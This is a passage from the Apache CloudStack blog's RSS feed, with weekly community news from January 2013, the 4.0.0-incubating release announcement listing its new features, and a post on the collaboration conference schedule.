wiki.</li><li><a href="http://sebgoa.blogspot.ch/2013/01/social-network-analysis-of-apache.html" target="_blank" rel="nofollow" class="external-link">Social Network Analysis of Apache CloudStack</a> - blog post by Sebastien Goasguen, he looks at activity and communication between members on the mailing list.</li><li><a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/CloudStack+Meeting+16+January+2013+Minutes" target="_blank" rel="nofollow" class="external-link">Minutes from Weekly IRC Meeting</a>. Meetings are every Wednesday at 17:00 UTC in #cloudstack-meeting on Freenode.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-21January2013-UpcomingEvents"></a>Upcoming Events</h3><ul><li><b>PuppetCamp Sydney</b>: Joe Brockmeier is <a href="http://puppetcampsydney2013.eventbrite.com/" target="_blank" rel="nofollow" class="external-link">speaking about Apache CloudStack at PuppetCamp Sydney</a> on Thursday, 24 January 2013.</li><li><b>Linux.conf.au</b>: Joe Brockmeier is <a href="https://lca2013.linux.org.au/schedule/30073/view_talk?day=monday" target="_blank" rel="nofollow" class="external-link">speaking about Apache CloudStack during the Cloud Infrastructure, Distributed Storage and High Availability miniconf</a> on Monday (28 January, 2013).</li><li><b>FOSDEM</b>: Sebastien Goasguen is <a href="https://fosdem.org/2013/schedule/event/cloudstack/" target="_blank" rel="nofollow" class="external-link">speaking about Apache CloudStack features and tools</a> during the <a href="https://fosdem.org/2013/schedule/track/cloud/" target="_blank" rel="nofollow" class="external-link">cloud DevRoom</a> at FOSDEM on Sunday (3 February, 2013).</li><li><b>Build a Cloud Day (BACD)</b>: Full day <a href="http://buildacloud.org/about-cloudstack/cloudstack-events/viewevent/140-build-a-cloud-day-ghent-2013.html" target="_blank" rel="nofollow" class="external-link">workshop</a> on CloudStack co-located with Puppet Camp in Ghent, Belgium (1 February, 2013).</li><li><b>UK/European User Group Meet-up</b> : Shapeblue is organizing a <a href="http://buildacloud.org/about-cloudstack/cloudstack-events/viewevent/141-ukeuropean-user-group-meet-up.html" target="_blank" rel="nofollow" class="external-link">meet-up</a>. (January 16th, 2013)</li><li><b>Build a Cloud Day (BACD)</b>: Full day <a href="http://buildacloud.org/about-cloudstack/cloudstack-events/viewevent/138-build-a-cloud-day-scale11x-.html" target="_blank" rel="nofollow" class="external-link">BACD</a> at SCALE on Friday (22 February 2013).</li><li><b>CloudStack Booth at SCALE</b>: Meet with CloudStack folks at SCALE (23-24 February 2013), also Joe Brockmeier is <a href="http://www.socallinuxexpo.org/scale11x/presentations/taking-open-cloud-11-cloudstack" target="_blank" rel="nofollow" class="external-link">speaking about CloudStack at SCALE</a>.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-21January2013-Jira"></a>Jira</h3><ul><li><a href="https://issues.apache.org/jira/issues/?jql=project%20%3D%20CLOUDSTACK%20AND%20affectedVersion%20%3D%20%224.1.0%22%20AND%20status%20%3D%20Open%20AND%20assignee%20in%20(EMPTY)" target="_blank" rel="nofollow" class="external-link">48 Open and Unassigned Issues affecting 4.1.0</a></li><li><a href="https://issues.apache.org/jira/issues/?jql=project%20%3D%20CLOUDSTACK%20AND%20affectedVersion%20%3D%20%224.1.0%22%20AND%20status%20%3D%20Open" target="_blank" rel="nofollow" class="external-link">90 Open Issues affecting 4.1.0</a></li><li><a href="https://issues.apache.org/jira/issues/?jql=project%20%3D%20CLOUDSTACK%20AND%20status%20%3D%20Open" target="_blank" rel="nofollow" class="external-link">474 Open Issues in total against Apache CloudStack</a></li></ul><h3><a name="ApacheCloudStackWeeklyNews-21January2013-NewCommittersandPPMCMembers"></a>New Committers and PPMC Members</h3><p>For this week's news only we're mentioning new committers and PPMC members for this month (Jan 2013);</p><ul><li>Sebastien Goasguen (committer)</li><li>Joe Brockmeier (PPMC)</li><li>Kelcey Damage (committer)</li></ul>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack Weekly News - 14 January 2013]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_14</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_14</guid>
            <pubDate>Mon, 14 Jan 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[Each week, we'll summarize the most important issues and developments in the Apache CloudStack (incubating) community. This week, the vote on accepting Marvin tests, Apache CloudStack bylaws, issues with features for 4.1.0, and upcoming events.]]></description>
            <content:encoded><![CDATA[<p>Each week, we'll summarize the most important issues and developments in the Apache CloudStack (incubating) community. This week, the vote on accepting Marvin tests, Apache CloudStack bylaws, issues with features for 4.1.0, and upcoming events.</p><h3><a name="ApacheCloudStackWeeklyNews-14January2013-MajorDiscussionsandIssues"></a>Major Discussions and Issues</h3><ul><li>Project Bylaws were <a href="http://markmail.org/thread/ma3g6hdgegu76g44" target="_blank" rel="nofollow" class="external-link">discussed previously</a> and after a substantial discussion on cloudstack-dev have <a href="http://markmail.org/thread/2q5b2y7oahgobqfg" target="_blank" rel="nofollow" class="external-link">passed</a>. The bylaws are intended to go into effect once Apache CloudStack graduates from the Apache Incubator. (Note that a vote on graduation is not currently pending.)</li><li>Discussion about whether CloudStack should make a concerted effort to <a href="http://markmail.org/thread/moyctvlxmgrrorb5" target="_blank" rel="nofollow" class="external-link">get into Linux distros</a>.</li><li>There are some <a href="http://markmail.org/thread/nu4f6tphsnsv7ls6" target="_blank" rel="nofollow" class="external-link">concerns about where development is happening</a> for major features being targeted for CloudStack 4.1.0. A number of features have been developed outside of the community, and may need to go through IP clearance to be accepted into master for 4.1.0.</li><li>Discussion on how CloudMonkey should be released, whether it makes sense to <a href="http://markmail.org/thread/moyctvlxmgrrorb5" target="_blank" rel="nofollow" class="external-link">release CloudMonkey out-of-band via pypi or stick with major releases</a>.</li><li>Reminder to developers to <a href="http://markmail.org/thread/pb3bmv44m6vwro4w" target="_blank" rel="nofollow" class="external-link">update status, risk, and issues in Jira items</a>.</li><li>Vote to accept Marvin automated tests from Citrix <a href="http://markmail.org/thread/cqkim6v5nk73tur7" target="_blank" rel="nofollow" class="external-link">started on January 9th</a> the vote <a href="http://markmail.org/thread/vxwtwnhapmf7inw7" target="_blank" rel="nofollow" class="external-link">passed</a> and now will begin going through IP clearance.</li><li><a href="http://markmail.org/thread/jhkqwujf23zegn5d" target="_blank" rel="nofollow" class="external-link">Minutes from QA Scrum on 8 January 2013</a>.</li><li><a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/CloudStack+Meeting+9+January+2013+Minutes" target="_blank" rel="nofollow" class="external-link">Minutes from CloudStack IRC Meeting 9 January 2013</a> and the <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/CloudStack+Meeting+9+January+2013+Log" target="_blank" rel="nofollow" class="external-link">full log</a>.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-14January2013-UpcomingEvents"></a>Upcoming Events</h3><p>CloudStack will be represented at a number of events in the next few weeks:</p><ul><li><b>OSSI DHS Industry Day</b> David Nalley is on a panel and will talk about Apache CloudStack at the <a href="http://www.oss-institute.org/component/events/event/30" target="_blank" rel="nofollow" class="external-link">OSSI Industry Day</a> in Linthicum, Maryland on Monday, 14 January 2013.</li><li><b>DC Riak Users Group</b> David Nalley is speaking about CloudStack at the <a href="http://www.meetup.com/Riak-DC/events/94513602/" target="_blank" rel="nofollow" class="external-link">DC Riak Users Group</a> in Washington DC on Wednesday, 16 January 2013.</li><li><b>PuppetCamp Silicon Valley</b>: David Nalley is <a href="http://puppetcampsiliconvalley2013.eventbrite.com/" target="_blank" rel="nofollow" class="external-link">speaking about CloudStack at PuppetCamp Silicon Valley</a> on Friday, 18 January 2013.</li><li><b>PuppetCamp Sydney</b>: Joe Brockmeier is <a href="http://puppetcampsydney2013.eventbrite.com/" target="_blank" rel="nofollow" class="external-link">speaking about Apache CloudStack at PuppetCamp Sydney</a> on Thursday, 24 January 2013.</li><li><b>Linux.conf.au</b>: Joe Brockmeier is <a href="https://lca2013.linux.org.au/schedule/30073/view_talk?day=monday" target="_blank" rel="nofollow" class="external-link">speaking about Apache CloudStack during the Cloud Infrastructure, Distributed Storage and High Availability miniconf</a> on Monday (28 January, 2013).</li><li><b>FOSDEM</b>: Sebastien Goasguen is <a href="https://fosdem.org/2013/schedule/event/cloudstack/" target="_blank" rel="nofollow" class="external-link">speaking about Apache CloudStack features and tools</a> during the <a href="https://fosdem.org/2013/schedule/track/cloud/" target="_blank" rel="nofollow" class="external-link">cloud DevRoom</a> at FOSDEM on Sunday (3 February, 2013).</li><li><b>Build a Cloud Day (BACD)</b>: Full day <a href="http://buildacloud.org/about-cloudstack/cloudstack-events/viewevent/140-build-a-cloud-day-ghent-2013.html" target="_blank" rel="nofollow" class="external-link">workshop</a> on CloudStack co-located with Puppet Camp in Ghent, Belgium (1 February, 2013).</li><li><b>UK/European User Group Meet-up</b> : Shapeblue is organizing a <a href="http://buildacloud.org/about-cloudstack/cloudstack-events/viewevent/141-ukeuropean-user-group-meet-up.html" target="_blank" rel="nofollow" class="external-link">meet-up</a>. (January 16th, 2013)</li></ul><h3><a name="ApacheCloudStackWeeklyNews-14January2013-Jira"></a>Jira</h3><p>In the last 30 days (as of 11 January, 2013) 345 issues have been created in Jira, and 85 have been resolved.</p><ul><li>Unassigned Issues: 299 as of 11 January, 2013. <a href="http://is.gd/Nj4yuN" target="_blank" rel="nofollow" class="external-link">Please see if any of the issues are something you can help with</a>.</li><li>There are <a href="http://is.gd/Nj4yuN" target="_blank" rel="nofollow" class="external-link">84 open issues affecting 4.1.0</a>.</li><li>75 issues are of <a href="http://is.gd/1eRl59" target="_blank" rel="nofollow" class="external-link">blocker, critical, or major status</a>.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-14January2013-NewCommittersandPPMCMembers"></a>New Committers and PPMC Members</h3><ul><li>Sebastien Goasguen and Kelcey Damage were welcomed as new committers.</li></ul>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack 4.0.0-incubating Released]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_4_0_0</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_4_0_0</guid>
            <pubDate>Tue, 06 Nov 2012 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack project is pleased to announce the 4.0.0-incubating release of the CloudStack Infrastructure-as-a-Service (IaaS) cloud orchestration platform. This is the first release from within the Apache Incubator, the entry path into the Apache Software Foundation (ASF).]]></description>
            <content:encoded><![CDATA[<p>The Apache CloudStack project is pleased to announce the 4.0.0-incubating release of the CloudStack Infrastructure-as-a-Service (IaaS) cloud orchestration platform. This is the first release from within the Apache Incubator, the entry path into the Apache Software Foundation (ASF).</p><p>Apache CloudStack is an integrated software platform that allows users to build a feature-rich IaaS. CloudStack includes an intuitive user interface and rich API for managing the compute, networking, accounting, and storage for private, hybrid, or public clouds. The project entered the Apache Incubator in April 2012.</p><p>The 4.0.0-incubating release represents the culmination of more than six months work by the CloudStack community. The release includes more than a dozen new features, many bugfixes, security fixes, and a fully audited codebase that complies with ASF guidelines. </p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="newfeatures:">New Features:<a href="#newfeatures:" class="hash-link" aria-label="Direct link to New Features:" title="Direct link to New Features:">​</a></h2><ul><li>Inter-VLAN Routing (VPC)</li><li>Site-to-Site VPN</li><li>Local Storage Support for Data Volumes</li><li>Virtual Resource Tagging</li><li>Secure Console Access on XenServer</li><li>Added the ability to create a VM without immediately starting it (via API)</li><li>Upload an Existing Volume to a Virtual Machine</li><li>Dedicated High-Availability Hosts</li><li>Support for Amazon Web Services API (formerly a separate package)</li><li>AWS API Extensions to include Tagging</li><li>Support for Nicira NVP (L2)</li><li>Ceph RBD Support for KVM</li><li>Support for Caringo as Secondary Storage</li><li>KVM Hypervisor support upgraded to work with Ubuntu 12.04 and RHEL 6.3</li></ul><h2 class="anchor anchorWithStickyNavbar_LWe7" id="downloads">Downloads<a href="#downloads" class="hash-link" aria-label="Direct link to Downloads" title="Direct link to Downloads">​</a></h2><p>The official source code release can be downloaded from:</p><p><a href="http://incubator.apache.org/cloudstack/downloads.html" target="_blank" rel="noopener noreferrer">http://incubator.apache.org/cloudstack/downloads.html</a></p><p>In addition to the official source code release, individual contributors have also made convenience binaries available on the Apache CloudStack download page.</p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="cloudstackcollaborationconference">CloudStack Collaboration Conference<a href="#cloudstackcollaborationconference" class="hash-link" aria-label="Direct link to CloudStack Collaboration Conference" title="Direct link to CloudStack Collaboration Conference">​</a></h2><p>The CloudStack project will have its first collaboration conference in Las Vegas, from November 30th through December 2nd at The Venetian. The conference will provide an opportunity for the community to learn more about CloudStack, share best practices for deploying CloudStack, and discuss ideas for upcoming releases. </p><p>Learn more about the CloudStack Collaboration Conference at:</p><p><a href="http://collab12.cloudstack.org/" target="_blank" rel="noopener noreferrer">http://collab12.cloudstack.org/</a></p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="incubating">Incubating<a href="#incubating" class="hash-link" aria-label="Direct link to Incubating" title="Direct link to Incubating">​</a></h2><p>Apache CloudStack is an effort undergoing incubation at The Apache Software Foundation (ASF). Incubation is required of all newly accepted projects until a further review indicates that the infrastructure, communications, and decision making process have stabilized in a manner consistent with other successful ASF projects. While incubation status is not necessarily a reflection of the completeness or stability of the code, it does indicate that the project has yet to be fully endorsed by the ASF.</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[CloudStack Collaboration Conference Schedule]]></title>
            <link>https://cloudstack.apache.org/blog/test_entry</link>
            <guid>https://cloudstack.apache.org/blog/test_entry</guid>
            <pubDate>Sat, 27 Oct 2012 00:00:00 GMT</pubDate>
            <description><![CDATA[The CloudStack Collaboration Conference schedule is now up! You can find it at:]]></description>
            <content:encoded><![CDATA[<p>The CloudStack Collaboration Conference schedule is now up! You can find it at:</p><p><a href="http://collab12.cloudstack.org/schedule/" target="_blank" rel="noopener noreferrer">http://collab12.cloudstack.org/schedule/</a></p><p>A big thank you to everyone who's submitted talks, and to David Nalley, Chip Childers, and John Kinsella for helping wade through the submissions. We were initially concerned about the quantity of submissions given the short run-up to the conference - but we were blown away by the quality *and* quantity of the submissions.</p><p>We'll be announcing keynotes shortly, and the evening events. A lot of really good stuff coming for the conference - I hope to see many of you there, you really don't want to miss it!</p>]]></content:encoded>
            <category>news</category>
        </item>
    </channel>
</rss>